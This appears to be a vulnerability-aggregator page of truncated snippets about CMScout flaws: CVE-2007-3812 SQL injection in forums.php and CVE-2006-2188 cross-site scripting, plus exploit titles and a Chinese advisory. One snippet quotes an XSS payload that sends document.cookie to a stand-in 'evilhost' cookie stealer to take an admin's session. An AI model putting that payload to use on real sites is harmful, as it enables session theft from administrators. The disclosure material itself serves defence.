CVE-2007-3812

SQL injection vulnerability in forums.php in CMScout 1.23 and earlier allows remote attackers to execute arbitrary SQL commands via the f parameter in a forums action to index.php...

CMScout Forums.PHP SQL注入漏洞

CMScout是一款基于PHP的WEB应用程序。 CMScout不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，获得敏感信息。 问题是'Forums.PHP'脚本对用户提交的WEB参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息。 CMScout 1.23 目前没有解决方案提供： http://www.cmscout.za.net/...

CVE-2007-3812: Undefined Security Weakness

SQL injection vulnerability in forums.php in CMScout 1.23 and earlier allows remote attackers to execute arbitrary SQL commands via the f parameter in a forums action to index.php...

CVE-2007-3812

CVE-2007-3812 affects CMScout 1.23 and earlier. The vulnerability is a SQL injection in forums.php (via the f parameter in a forums action to index.php) that could allow remote attackers to execute arbitrary SQL commands. The CVE is documented in NVD/NVD-derived sources with a base score of 7.5 (...

CMScout <= 1.23 (index.php) Remote SQL Injection Vulnerability

No description provided by source. / \ / \ | | | | | | | | | | | / | | | | | | | ' / | | ' \ / \ | | | | || | || | | | \ | | | | / | , |/ /|| ||| |||| / | |/ Program Title CMScout = 1.23 SQL Injection Script Download&n...

CMScout <= 1.23 (index.php) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ============================================================== CMScout = 1.23 index.php Remote SQL Injection Vulnerability ============================================================== / \ / \ | | | | | | | | | | | / | | | | | | | ' / | |...

CMScout 1.23 - index.php SQL Injection

CMScout 1.23 - index.php SQL Injection / \ / \ | | | | | | | | | | | / | | | | | | | ' / | | ' \ / \ | | | | || | || | | | \ | | | | / | , |/ /|| ||| |||| / | |/ Program Title CMScout , Bernard, and everyone else at g00ns...

CMScout 1.23 - 'index.php' SQL Injection

/ \ / \ | | | | | | | | | | | / | | | | | | | ' / | | ' \ / \ | | | | || | || | | | \ | | | | / | , |/ /|| ||| |||| / | |/ Program Title CMScout , Bernard, and everyone else at g00ns.net...

cmscout.txt

/ \ / \ | | | | | | | | | | | / | | | | | | | ' / | | ' \ / \ | | | | || | || | | | \ | | | | / | , |/ /|| ||| |||| / | |/ Program Title CMScout , Bernard, and everyone else at g00ns.net...

CmscoutXSS.txt

Cmscout window.navigate'http://www.evilhost.com/cookiestealer.php?c='+document.cookie we could obtain the admin's cookie. The inside of BBcode isn't filtered either. This goes for the forums too. Nomenumbra/0x4F4C...

CVE-2006-2188

Multiple cross-site scripting XSS vulnerabilities in CMScout 1.10 and earlier allow remote attackers to inject arbitrary web script or HTML via 1 the Body field of a private message PM, 2 BBCode, or 3 a forum post...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in CMScout 1.10 and earlier allow remote attackers to inject arbitrary web script or HTML via 1 the Body field of a private message PM, 2 BBCode, or 3 a forum post...

CVE-2006-2188

Multiple cross-site scripting XSS vulnerabilities in CMScout 1.10 and earlier allow remote attackers to inject arbitrary web script or HTML via 1 the Body field of a private message PM, 2 BBCode, or 3 a forum post...

CVE-2006-2188

CVE-2006-2188 affects CMScout 1.10 and earlier. The vulnerability is multiple cross-site scripting (XSS) that allows a remote attacker to inject arbitrary web script or HTML via (1) the Body field of a private message, (2) BBCode, or (3) a forum post. Documented impact includes partial confidenti...

CVE-2006-2188: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in CMScout 1.10 and earlier allow remote attackers to inject arbitrary web script or HTML via 1 the Body field of a private message PM, 2 BBCode, or 3 a forum post...

Cmscout &lt;= V1.10 multiple XSS attack vectors

Cmscout = V1.10 multiple XSS attack vectors Discovered by: Nomenumbra Date: 5/2/2006 impact:moderate privilege escalation,possible defacement CMScout is a CMS Content management system for scouting related groups from around the world. A CMS is a piece of web software that makes it easy for you t...